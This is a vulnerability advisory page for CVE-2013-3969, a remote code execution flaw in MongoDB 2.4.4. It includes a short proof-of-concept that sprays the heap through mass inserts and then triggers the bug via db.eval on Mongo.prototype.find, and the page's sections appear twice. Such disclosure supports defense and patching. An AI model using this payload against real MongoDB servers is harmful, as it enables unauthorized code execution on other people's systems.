MongoDB 'conn' Mongo Object Remote Code Execution Vulnerability
BID:61309
Info
MongoDB 'conn' Mongo Object Remote Code Execution Vulnerability
| Bugtraq ID: | 61309 |
| Class: | Input Validation Error |
| CVE: |
CVE-2013-3969 |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 04 2013 12:00AM |
| Updated: | Jan 20 2014 01:02AM |
| Credit: | SCRT Security |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
MongoDB 'conn' Mongo Object Remote Code Execution Vulnerability
MongoDB is prone to a remote code execution vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit this vulnerability to execute arbitrary code within the context of the affected application.
MongoDB 2.4.4 is vulnerable; other versions may also be affected.
MongoDB is prone to a remote code execution vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit this vulnerability to execute arbitrary code within the context of the affected application.
MongoDB 2.4.4 is vulnerable; other versions may also be affected.
Exploit / POC
MongoDB 'conn' Mongo Object Remote Code Execution Vulnerability
Core Security Technologies has developed a working commercial exploit for its CORE IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.
The following example data is available:
use databaseMapped
sizechunk=0x1338; chunk=""; for(i=0;i<sizechunk;i++){ chunk+="\x05\x7c\x77\x55\x08\x04\x00\x00"; } for(i=0;i<30000;i++){ db.my_collection.insert({my_chunk:chunk}) }
db.eval('Mongo.prototype.find("a",{"b":"c"},"d","e","f","g","h")');
Core Security Technologies has developed a working commercial exploit for its CORE IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.
The following example data is available:
use databaseMapped
sizechunk=0x1338; chunk=""; for(i=0;i<sizechunk;i++){ chunk+="\x05\x7c\x77\x55\x08\x04\x00\x00"; } for(i=0;i<30000;i++){ db.my_collection.insert({my_chunk:chunk}) }
db.eval('Mongo.prototype.find("a",{"b":"c"},"d","e","f","g","h")');
Solution / Fix
MongoDB 'conn' Mongo Object Remote Code Execution Vulnerability
Solution:
Updates are available. Please see the references or vendor advisory for more information.
Solution:
Updates are available. Please see the references or vendor advisory for more information.
References
MongoDB 'conn' Mongo Object Remote Code Execution Vulnerability
References:
References: